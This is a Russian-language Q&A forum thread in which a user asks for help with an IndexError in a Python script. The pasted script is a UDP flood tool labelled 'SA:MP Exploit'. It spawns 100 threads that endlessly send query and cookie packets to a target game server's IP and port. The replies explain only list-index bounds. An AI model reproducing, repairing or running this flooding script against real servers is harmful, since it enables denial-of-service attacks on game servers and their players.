Mail.ruПочтаМой МирОдноклассникиВКонтактеИгрыЗнакомстваНовостиКалендарьОблакоЗаметкиВсе проекты

Что за ошибка IndexError: list index out of range Помогите пожалуйста!

Дениэль Егоров Ученик (104), на голосовании 3 недели назад
Вот код.

import socket
import struct
import codecs,sys
import threading
import random
import time
import os




ip = sys.argv[1]
port = sys.argv[2]
orgip =ip

Pacotes = [codecs.decode("53414d5090d91d4d611e700a465b00","hex_codec"),#p
codecs.decode("53414d509538e1a9611e63","hex_codec"),#c
codecs.decode("53414d509538e1a9611e69","hex_codec"),#i
codecs.decode("53414d509538e1a9611e72","hex_codec"),#r
codecs.decode("081e62da","hex_codec"), #cookie port 7796
codecs.decode("081e77da","hex_codec"),#cookie port 7777
codecs.decode("081e4dda","hex_codec"),#cookie port 7771
codecs.decode("021efd40","hex_codec"),#cookie port 7784
codecs.decode("021efd40","hex_codec"),#cookie port 1111
codecs.decode("081e7eda","hex_codec")#cookie port 1111 tambem
]


print("Ataque iniciado no ip: %s e Porta: %s"%(orgip,port))







class MyThread(threading.Thread):
def run(self):
while True:
sock = socket.socket(
socket.AF _INET, socket.SOCK_DGRAM) # Internet and UDP

msg = Pacotes[random.randrange(0,3)]

sock.sendto(msg, (ip, int(port)))


if(int(port) == 7777):
sock.sendto(Pacotes[5], (ip, int(port)))
elif(int(port) == 7796):
sock.sendto(Pacotes[4], (ip, int(port)))
elif(int(port) == 7771):
sock.sendto(Pacotes[6], (ip, int(port)))
elif(int(port) == 7784):
sock.sendto(Pacotes[7], (ip, int(port)))
elif(int(port) == 1111):
sock.sendto(Pacotes[9], (ip, int(port)))


if __name__ == '__main__':
try:
for x in range(100):
mythread = MyThread()
mythread.start()
time.sleep(.1)
except(KeyboardInterrupt):
os.system('cls' if os.name == 'nt' else 'clear')

print('#########################################################################')
print('SA:MP Exploit')
print('#########################################################################')
print('\n\n')
print('Ataque para ip {} foi parado'.format(orgip))
pass
Голосование за лучший ответ
globalCS2 Мастер (1067) 1 месяц назад
Это означает что ты где-то вышел за рамки массива.
То есть к примеру массив состоит из 20 значений, а ты пытаешься получить 21 значение - оттуда и эта ошибка
Дениэль ЕгоровУченик (104) 1 месяц назад
Привет!Ну а как сделать так,чтобы он не выходил?
Дениэль Егоров, прикинь, надо обращаться только к тем индексам, которые находятся в пределах границ массива. Странно, да?
Похожие вопросы